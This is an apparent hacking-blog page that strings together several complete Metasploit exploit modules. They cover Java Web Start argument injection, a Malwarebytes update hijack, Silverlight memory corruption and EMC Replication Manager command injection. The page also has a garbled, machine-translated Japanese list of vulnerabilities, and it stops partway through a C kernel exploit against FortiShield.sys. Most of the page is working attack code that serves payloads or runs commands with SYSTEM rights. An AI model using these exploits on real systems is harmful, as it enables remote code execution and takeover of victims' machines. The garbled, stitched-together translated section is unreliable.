Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863206556

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection',
      'Description'    => %q{
          This module exploits a flaw in the Web Start plugin component of Sun Java
        Web Start. The arguments passed to Java Web Start are not properly validated.
        By passing the lesser known -J option, an attacker can pass arbitrary options
        directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
        by Ruben Santamarta, an attacker can execute arbitrary code in the context of
        an unsuspecting browser user.
        This vulnerability was originally discovered independently by both Ruben
        Santamarta and Tavis Ormandy. Tavis reported that all versions since version
        6 Update 10 "are believed to be affected by this vulnerability."
        In order for this module to work, it must be ran as root on a server that
        does not serve SMB. Additionally, the target host must have the WebClient
        service (WebDAV Mini-Redirector) enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'jduck',
      'References'     =>
        [
          [ 'CVE', '2010-0886' ],
          [ 'CVE', '2010-1423' ],
          [ 'OSVDB', '63648' ],
          [ 'BID', '39346' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
        ],
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Runtime on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 09 2010'
      ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
        OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
      ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent}")
    end

    ret
  end


  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
      process_options(cli, request, mytarget)
      return
    end

    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
      send_not_found(cli)
      return
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    else
      share_name = $1
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)

    when 'PROPFIND'
      process_propfind(cli, request, mytarget)

    when 'GET'
      process_get(cli, request, mytarget, share_name)

    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)

    else
      print_error("Unexpected request method encountered: #{request.method}")

    end

  end

  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)

    print_status("Responding to \"GET #{request.uri}\" request")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
      #
      # DLL requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending DLL")

      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      # Generate a DLL based on the payload
      dll_data = generate_payload_dll({ :code => p.encoded })

      # Send it :)
      send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

    else
      #
      # HTML requests sent by IE and Firefox
      #
      # This could probably use the Host header from the request
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      # Always prepare the UNC path, even if we dont use it for this request...
      if (datastore['UNCPATH'])
        unc = datastore['UNCPATH'].dup
      else
        unc = "\\\\" + my_host + "\\" + share_name
      end
      jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
      docbase = rand_text_alphanumeric(8+rand(8))

      # Provide the corresponding HTML page...
      if (request.uri =~ /\.shtml/i)
        print_status("Sending JS version HTML")
        # Javascript version...
        var_str = rand_text_alpha(8+rand(8))
        var_obj = rand_text_alpha(8+rand(8))
        var_obj2 = rand_text_alpha(8+rand(8))
        var_obj3 = rand_text_alpha(8+rand(8))
        js_jnlp = "http: "
        js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez

        # The 8ad.. CLSID doesn't support the launch method ...
        #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
        clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
        html = %Q|<html>
<body>Please wait...
<script language="javascript">
var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str});
} else {
try {
var #{var_obj2} = document.createElement("OBJECT");
#{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
document.body.appendChild(#{var_obj2});
#{var_obj2}.launch(#{var_str});
} catch (e) {
var #{var_obj3} = document.createElement("OBJECT");
#{var_obj3}.type = "application/java-deployment-toolkit";
document.body.appendChild(#{var_obj3});
#{var_obj3}.launch(#{var_str});
}
}
</script>
</body>
</html>
|
      elsif (request.uri =~ /\.htm/i)
        print_status("Sending non-JS version HTML")
        clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
        clsid = clsids[rand(clsids.length)]
        html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
      else
        print_status("Sending js detection HTML")

        # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
        js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
        no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"

        html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
        # end of detection html
      end

      send_response_html(cli, html,
        {
          'Content-Type' => 'text/html',
          'Pragma' => 'no-cache'
        })
    end

  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
    body = ''

    if (path =~ /\.dll$/i)
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    super
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # Would be Great except MBAE doesn't version check

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/
  EXE_REGEX     = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/
  NEXT_VERSION  = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the update functionality of
        Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
        Anti-Exploit consumer 1.03.1.1220.
        Due to the lack of proper update package validation, a man-in-the-middle
        (MITM) attacker could execute arbitrary code by spoofing the update server
        data-cdn.mbamupdates.com and uploading an executable. This module has
        been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yonathan Klijnsma',  # Vulnerability discovery and PoC
          'Gabor Seljan',       # Metasploit module
          'todb'                # Module refactoring
        ],
      'References'     =>
        [
          [ 'CVE', '2014-4936' ],
          [' OSVDB', '116050'],
          [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 16 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])
      ], self.class)

    # Vulnerable Malwarebytes clients do not allow altering these.
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def on_request_uri(cli, request)
    case request.uri
    when VERSION_REGEX
      serve_update_notice(cli) if set_exploit_target($1, request)
    when EXE_REGEX
      serve_exploit(cli)
    else
      vprint_status "Sending empty page for #{request.uri}"
      serve_default_response(cli)
    end
  end

  def serve_default_response(cli)
    send_response(cli, '')
  end

  def check_client_version(request)
    return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/
    this_version = $1
    next_version = NEXT_VERSION[:mbam]
    if
      Gem::Version.new(next_version) >= Gem::Version.new(this_version)
      return true
    else
      print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."
      return false
    end
  end

  def set_exploit_target(package, request)
    case package
    when /mbam/i
      if check_client_version(request)
        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]
      else
        serve_default_response(cli)
        return false
      end
    when /mbae/i
      # We don't get identifying info from MBAE
      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]
    end
  end

  def serve_update_notice(cli)
    software,next_version = @client_software
    print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."
    send_response(cli, next_version,
                  'Content-Type' => 'application/octet-stream'
                 )
  end

  def serve_exploit(cli)
    print_status "Sending payload EXE..."
    send_response(cli, generate_payload_exe,
                  'Content-Type' => 'application/x-msdos-program'
                 )
  end

end
            

1。 OAシステム

weaver-ecology-oa

PANWEI OA E-COLOGY RCE(CNVD-2019-32204) - バージョン7.0/8.0/8.1/9.0に影響

Panwei oa oa workflowcentertreedataインターフェイスインジェクション(限定オラクルデータベース)Panwei Ecology oa database configuration情報Panwei oa Cloud Bridge Arbitraryay File Reading-2018-2019 Panwei e-e-e-e-e-e-ecology oa front-end sql scl dection valnerability panwei oa system com.eweave.base.base.beartury keywordid sqlインジェクションの脆弱性panwei oa sysinterface/codeedit.jspページ任意のファイルをアップロードする

seeyon

ZHIYUAN OA-A8 HTMLOFFICESERVLET GETSHELL脆弱性Zhiyuan OAセッションリーク脆弱性

Zhiyuan oa a6 search_result.jsp sqlインジェクションの脆弱性zhiyuan oa a6 setextno.jsp sql indectl fulnection脆弱性zhiyuan oa a6リセットデータベースアカウントパスワードzhiyuan oa a8ユニバーサルパスワードzhiyuan oa fansoftレポートコンポーネントフロントエンドxxe脆弱性zhiyuan oa fansoftレポートコンポーネントリフレクティブxssssrf脆弱性thinks3:landgrey

lan ling oa

まだありません(上司がそれを提供できることを願っています)

Tongda oa

TONGDA OA ANY FILE DELETE FILEアップロードRCE分析(HW August 0day、2020)Tongda OA任意のファイルアップロード/ファイルにはGetShell Tongda OA11.5バージョンANY USER LOGINが含まれています

TONGDA OA 11.2背景ゲッシェトンダOA 11.7

Kingdee Oa

Kingdee Collaborative Office System GetShellの脆弱性

2。電子メール

Exchange

CVE-2020-17083 Microsoft Exchange Server Remotoft Codeの実行脆弱性Microsoft Exchange Remote Code実行可能性(CVE-2020-16875)

coremail

コアメール構成情報漏れとインターフェース不正な脆弱性コアメールストレージXSS脆弱性コレクションコアメール歴史的脆弱性

3。 Webミドルウェア

apache

APACHE SOLR RCE—覚えているme脱介入脆弱性(shiro-550)

Apache歴史的脆弱性コレクション

tomcat

Tomcat情報漏れとリモートコードの実行脆弱性[CVE-2017-12615/CVE-2017-12616] Tomcat GhostCat-AJP Protocol File Reading/File Conmpash GetShellCVE-2016-1240 Tomcat LocalPrivilege Elevation脆弱性Tomcat Historical Ulnerability Collection

weblogic

CVE-2020–14882 Weblogic Unauthorized Rceweblogic Remotic Command実行脆弱性分析(CVE-2019-2725)CVE-2019-2618 Arbitraryファイルアップロードアップロード脆弱性Weblogic Xmlgic Armitrary Armitrarize(CVE-2017-10271脆弱性(CVE-2019-2615)およびファイルアップロード脆弱性(CVE-2019-2618)WebLogic Coherence Component IIOP Deserialization脆弱性(CVE-2020-146444)

jboss

CVE-2017-7504-JBOSS JMXINVOKERSERVELT DASERIALIZATION JBOSS 5.X/6.X Deserialization脆弱性(CVE-2017-12149)JBOSS 4.X JBOSSMQ JMS Daserialization脆弱性(CVE-2017-7504)JBOSS CODE EXECUTION JBOST JBOST JBOST JBOST JBOST JBOST JBOST GetShelljboss Historicalの脆弱性コレクションへのアクセス

iv。ソースコード管理

gitlab

gitlab任意のファイル読み取り脆弱性

svn

SVNソースコードリーク脆弱性

5。プロジェクト管理システム

Zen Tao

CNVD-C-2020-121325 ZEN TAOオープンソースファイルアップロードZen Tao 9.1.2 SQL注入なしのログインZen Tao≤12.4.2背景管理者の条件GETSHEL条件826 Zenリモートコード実行の脆弱性Zen Tao 11.6任意のファイルを読む

Jira

Atlassian Jiraの脆弱性敏感な情報のホッジポッジ漏れワークベンチパス経由(CVE-2019-14994)によって引き起こされる漏れ脆弱性(CVE-2019-14994)JIRA不正なSSRF脆弱性(CVE-2019-8451) (CVE-2019-11581)CVE-2019-8449 JIRA情報漏れ脆弱性Jira Historical Ulbernerability Collection

vi。データベース

redis

Redisの概要未知のアクセス脆弱性エクスプロイトRedis 4.x rceredis Exploit Redis歴史的脆弱性コレクションを収集する

mysql

MySQL特権昇給(CVE-2016-6663、CVE-2016-6664の組み合わせ実践)MySQLデータベースの浸透と脆弱性の利用MYSQLの脆弱性MySQLの歴史的バージョンを注入するためのいくつかのゲッシェル方法のいくつかのゲッシェル方法

mssql

MSSQLは姿勢ソート(歴史上最も完全)を使用していますMSSQLデータベースコマンド実行概要MSSQLを使用してログインをシミュレートし、特権を増やし、MSSQLインジェクションスキルを使用してCLRアセンブリを使用してコマンドを実行します

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
  <Deployment.Parts>
    <AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
  </Deployment.Parts>
</Deployment>
  EOS

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",
      'Description'    => %q{
        This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on
        the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
        unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
        to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
        to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
        from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
        SP3 / Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw',   # RCE Vulnerability discovery
          'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
          'juan vazquez'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0074' ],
          [ 'CVE', '2013-3896' ],
          [ 'OSVDB', '91147' ],
          [ 'OSVDB', '98223' ],
          [ 'BID', '58327' ],
          [ 'BID', '62793' ],
          [ 'MSB', 'MS13-022' ],
          [ 'MSB', 'MS13-087' ],
          [ 'PACKETSTORM', '123731' ]
        ],
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'EXITFUNC'             => 'thread'
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => OperatingSystems::Match::WINDOWS,
          :ua_name     => Msf::HttpClients::IE,
          :silverlight => "true"
        },
      'Targets'        =>
        [
          [ 'Windows x86/x64', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 12 2013",
      'DefaultTarget'  => 0))

  end

  def setup
    @xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
    @dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
    @xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
    super
  end

  def exploit_template(cli, target_info)

    my_payload = get_payload(cli, target_info)

    # Align to 4 bytes the x86 payload
    while my_payload.length % 4 != 0
      my_payload = "\x90" + my_payload
    end

    my_payload = Rex::Text.encode_base64(my_payload)

    html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
  <title>Silverlight Application</title>
  <style type="text/css">
    html, body { height: 100%; overflow: auto; }
    body { padding: 0; margin: 0; }
    #form1 { height: 99%; }
    #silverlightControlHost { text-align:center; }
  </style>
</head>
<body>
  <form id="form1" runat="server" >
    <div id="silverlightControlHost">
    <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
      <param name="source" value="<%= @xap_name %>"/>
      <param name="background" value="white" />
      <param name="InitParams" value="payload=<%= my_payload %>" />
    </object>
    </div>
  </form>
</body>
</html>
EOF

    return html_template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    print_status("request: #{request.uri}")
    if request.uri =~ /#{@xap_name}$/
      print_status("Sending XAP...")
      send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /#{@dll_name}$/
      print_status("Sending DLL...")
      send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /AppManifest.xaml$/
      print_status("Sending XAML...")
      send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    else
      print_status("Sending HTML...")
      send_exploit_html(cli, exploit_template(cli, target_info))
    end
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC Replication Manager Command Execution',
      'Description'    => %q{
        This module exploits a remote command-injection vulnerability in EMC Replication Manager
        client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
        attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
        products are EMC Replication Manager < 5.3. This module has been successfully tested
        against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
        Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
        against these products.
      },
      'Author'         =>
        [
          'Unknown', #Initial discovery
          'Davy Douhine' #MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-0647' ],
          [ 'OSVDB', '70853' ],
          [ 'BID', '46235' ],
          [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
          [ 'ZDI', '11-061' ]
        ],
      'DisclosureDate' => 'Feb 07 2011',
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          # Tested on Windows XP and Windows 2003
          [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultOptions' =>
        {
          'WfsDelay' => 5
        },
      'DefaultTarget'  => 0,
      'Privileged'     => true
      ))

    register_options(
      [
        Opt::RPORT(6542)
      ], self.class)
  end

  def exploit
    execute_cmdstager({:linemax => 5000})
  end

  def execute_command(cmd, opts)
    connect
    hello = "1HELLOEMC00000000000000000000000"
    vprint_status("Sending hello...")
    sock.put(hello)
    result = sock.get_once || ''
    if result =~ /RAWHELLO/
      vprint_good("Expected hello response")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to hello the server")
    end

    start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
    vprint_status("Starting session...")
    sock.put(start_session)
    result = sock.get_once || ''
    if result =~ /EMC/
      vprint_good("A session has been created. Good.")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to create the session")
    end

    run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
    run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
    run_prog << "<ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" "
    run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter"  IR_groupName="CM1109A1"  IR_groupId="1" "
    run_prog << "><?xml version="1.0" encoding="UTF-8"?	> <ir_message ir_sessionId="00000" "
    run_prog << "ir_requestId="00000"ir_type="App Info" ir_status="0"><aa_anywriter_ccr_node>CM1109A1"
    run_prog << "</aa_anywriter_ccr_node><aa_anywriter_fail_1018>0</aa_anywriter_fail_1018><aa_anywriter_fail_1019>0"
    run_prog << "</aa_anywriter_fail_1019><aa_anywriter_fail_1022>0</aa_anywriter_fail_1022><aa_anywriter_runeseutil>1"
    run_prog << "</aa_anywriter_runeseutil><aa_anywriter_ccr_role>2</aa_anywriter_ccr_role><aa_anywriter_prescript>"
    run_prog << "</aa_anywriter_prescript><aa_anywriter_postscript></aa_anywriter_postscript><aa_anywriter_backuptype>1"
    run_prog << "</aa_anywriter_backuptype><aa_anywriter_fail_447>0</aa_anywriter_fail_447><aa_anywriter_fail_448>0"
    run_prog << "</aa_anywriter_fail_448><aa_exchange_ignore_all>0</aa_exchange_ignore_all><aa_anywriter_sthread_eseutil>0&amp"
    run_prog << ";lt;/aa_anywriter_sthread_eseutil><aa_anywriter_required_logs>0</aa_anywriter_required_logs><aa_anywriter_required_logs_path"
    run_prog << "></aa_anywriter_required_logs_path><aa_anywriter_throttle>1</aa_anywriter_throttle><aa_anywriter_throttle_ios>300"
    run_prog << "</aa_anywriter_throttle_ios><aa_anywriter_throttle_dur>1000</aa_anywriter_throttle_dur><aa_backup_username>"
    run_prog << "</aa_backup_username><aa_backup_password></aa_backup_password><aa_exchange_checksince>1335208339"
    run_prog << "</aa_exchange_checksince> </ir_message></IR_groupEntry> </ir_message></ir_runProgramAppInfo>"
    run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
    run_prog_header = "EMC_Len000000"
    run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog

    vprint_status("Executing command....")
    sock.put(run_prog_packet)
    sock.get_once(-1, 1)

    end_string = Rex::Text.rand_text_alpha(rand(10)+32)
    sock.put(end_string)
    sock.get_once(-1, 1)
    disconnect

  end
end
            
/*
Check these out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on:
- Windows 10 Pro x86 1703/1709
- ntoskrnl.exe: 10.0.16299.309
- FortiShield.sys: 5.2.3.633
Compile:
- i686-w64-mingw32-g++ forticlient_win10_x86.cpp -o forticlient_win10_x86.exe -m32 -lpsapi
 
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
and m00 to @g0tmi1k <3
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

DWORD get_pxe_address_32(DWORD address) {

	DWORD result = address >> 9;
	result = result | 0xC0000000;
	result = result & 0xC07FFFF8;
	return result;
}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (strcmp(szDrivers, drvname) == 0) {
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

int find_gadget(HMODULE lpFileName, unsigned char search_opcode[], int opcode_size) {

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)lpFileName;
    if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[!] Invalid file.\n");
        exit(1);
    }

    //Offset of NT Header is found at 0x3c location in DOS header specified by e_lfanew
    //Get the Base of NT Header(PE Header)  = dosHeader + RVA address of PE header
    PIMAGE_NT_HEADERS ntHeader;
    ntHeader = (PIMAGE_NT_HEADERS)((ULONGLONG)(dosHeader) + (dosHeader->e_lfanew));
    if(ntHeader->Signature != IMAGE_NT_SIGNATURE){
        printf("[!] Invalid PE Signature.\n");
        exit(1);
    }

    //Info about Optional Header
    IMAGE_OPTIONAL_HEADER opHeader;
